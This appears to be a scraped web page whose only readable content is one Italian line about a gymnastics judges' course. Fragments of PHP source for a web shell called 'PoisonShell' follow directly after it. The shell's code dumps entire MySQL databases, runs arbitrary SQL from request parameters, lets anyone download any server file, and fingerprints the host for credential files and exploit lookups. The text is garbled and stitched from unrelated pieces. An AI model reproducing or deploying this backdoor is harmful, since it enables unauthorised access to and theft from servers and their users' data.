Corso per giudici di primo livello di ginnastica artistica femminile.
Clicca sull'immagine per ingrandire
alert('Session created');";
} else {
echo "";
}
}
function creditos() {
echo "
"; // ventana termina
echo "
";
exit(1);
}
if (isset($_GET['bajardb'])) {
$tod = @mysql_connect($_GET['host'], $_GET['usuario'], $_GET['password']);
mysql_select_db($_GET['bajardb']);
$resultado = mysql_query("SHOW TABLES FROM " . $_GET['bajardb']);
while ($tabla = mysql_fetch_row($resultado)) {
foreach($tabla as $indice => $valor) {
$todo.= "
" . $valor . "
";
$resultadox = mysql_query("SELECT * FROM " . $valor);
$todo.= "
";
for ($i = 0;$i < mysql_num_fields($resultadox);$i++) {
$todo.= "| " . mysql_field_name($resultadox, $i) . " | ";
}
while ($dat = mysql_fetch_row($resultadox)) {
$todo.= "";
foreach($dat as $val) {
$todo.= "| " . $val . " | ";
}
}
$todo.= "
";
}
}
@mysql_free_result($tod);
@header("Content-type: application/vnd-ms-excel; charset=iso-8859-1");
@header("Content-Disposition: attachment; filename=" . date('d-m-Y') . ".xls");
echo $todo;
exit(1);
}
if (isset($_GET['bajartabla'])) {
$tod = mysql_connect($_GET['host'], $_GET['usuario'], $_GET['password']) or die("
Error
");
mysql_select_db($_GET['condb']);
if (!empty($_GET['sentencia'])) {
$resultado = mysql_query($_GET['sentencia']);
} else {
$resultado = mysql_query("SELECT * FROM " . $_GET['bajartabla']);
}
$todo.= "
";
for ($i = 0;$i < mysql_num_fields($resultado);$i++) {
$todo.= "| " . mysql_field_name($resultado, $i) . " | ";
}
while ($dat = mysql_fetch_row($resultado)) {
$todo.= "";
foreach($dat as $val) {
$todo.= "| " . $val . " | ";
}
}
@mysql_free_result($tod);
$todo.= "
";
@header("Content-type: application/vnd-ms-excel; charset=iso-8859-1");
@header("Content-Disposition: attachment; filename=" . date('d-m-Y') . ".xls");
echo $todo;
exit(1);
}
if (isset($_GET['reload'])) {
$tipo = pathinfo($_GET['reload']);
echo '
';
creditos();
}
function dame($file) {
return substr(sprintf('%o', fileperms($file)), -4);
}
if (isset($_GET['down'])) {
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=" . basename($_GET['down']));
readfile($_GET['down']);
exit(0);
}
if (isset($_POST['cookienew'])) {
if (setcookie($_POST['cookienew'], $_POST['valor'])) {
echo "";
echo '
';
} else {
echo "";
}
}
echo '';
echo "
" . $_SERVER["SERVER_NAME"] . " - PoisonShell";
$verdad = php_uname('s') . php_uname('r');
$link = "http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=" . $verdad . "&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
echo "
PoisonShell
|
System : " . $verdad . " " . " " . php_uname('v') . "
Server : " . $_SERVER['SERVER_SOFTWARE'] . "
";
if (file_exists("C:/WINDOWS/repair/sam")) {
echo "File Found : SAM ";
}
if (file_exists("/etc/passwd")) {
echo "File Found : /etc/passwd ";
}
echo "IP : " . $_SERVER['SERVER_ADDR'] . "
User : uid=" . getmyuid() . " (" . get_current_user() . ") gid=" . getmygid() . "
Path : " . getcwd() . "
Version PHP : " . phpversion() . "
";
if (ini_get('safe_mode') == 0) {
echo "Safe Mode : OFF ";
} else {
echo "Safe Mode : ON ";
}
if (get_magic_quotes_gpc() == "1" or get_magic_quotes_gpc() == "on") {
echo "Magic Quotes : ON ";
} else {
echo "Magic Quotes : OFF ";
}
exec("perl -h", $perl);
if ($perl) {
echo "Perl : ON ";
} else {
echo "Perl : OFF ";
}
exec("wget --help", $wget);
if ($wget) {
echo "WGET : ON ";
} else {
echo "WGET : OFF ";
}
exec("curl_version", $curl);
if ($curl) {
echo "CURL : ON ";
} else {
echo "CURL : OFF ";
}
echo " |
";
echo "
";
echo "
";
}
} else {
echo "
[-] Error writing in the shell
";
}
}
echo "
";
}
if (isset($_GET['sql'])) {
echo "
SQL Manager
";
}
if (isset($_GET['entersql'])) {
if ($mysql = @mysql_connect($_GET['host'], $_GET['usuario'], $_GET['password'])) {
if ($databases = @mysql_list_dbs($mysql)) {
echo "
Databases Found
";
echo "";
while ($dat = @mysql_fetch_row($databases)) {
foreach($dat as $indice => $valor) {
echo "| $valor | Enter | Download | ";
}
}
echo "
";
} else {
echo "";
creditos();
}
} else {
echo "";
creditos();
}
}
if (isset($_GET['enterdb'])) {
$mysql = mysql_connect($_GET['host'], $_GET['usuario'], $_GET['password']);
mysql_select_db($_GET['enterdb']);
echo "";
$tablas = mysql_query("show tables from " . $_GET['enterdb']) or die("error");
echo "
Tables Found
";
while ($tabla = mysql_fetch_row($tablas)) {
foreach($tabla as $indice => $valor) {
echo "| $valor | Enter | Download | ";
}
}
echo "
";
}
if (isset($_GET['entertable'])) {
$mysql = mysql_connect($_GET['host'], $_GET['usuario'], $_GET['password']);
mysql_select_db($_GET['condb']);
echo "
SQL Manager
";
$conexion = mysql_connect($_GET['host'], $_GET['usuario'], $_GET['password']) or die("Error
");
mysql_select_db($_GET['condb']);
if (isset($_POST['mostrar'])) {
if (!empty($_POST['sentencia'])) {
$resultado = mysql_query($_POST['sentencia']);
} else {
$resultado = mysql_query("SELECT * FROM " . $_GET['entertable']);
}
$numer = 0;
echo "";
for ($i = 0;$i < mysql_num_fields($resultado);$i++) {
echo "| " . mysql_field_name($resultado, $i) . " | ";
$numer++;
}
while ($dat = mysql_fetch_row($resultado)) {
echo "";
foreach($dat as $val) {
echo "| " . $val . " | ";
}
}
echo "
";
}
}
creditos();
} else {
echo "
";
}
// The End ?
?>
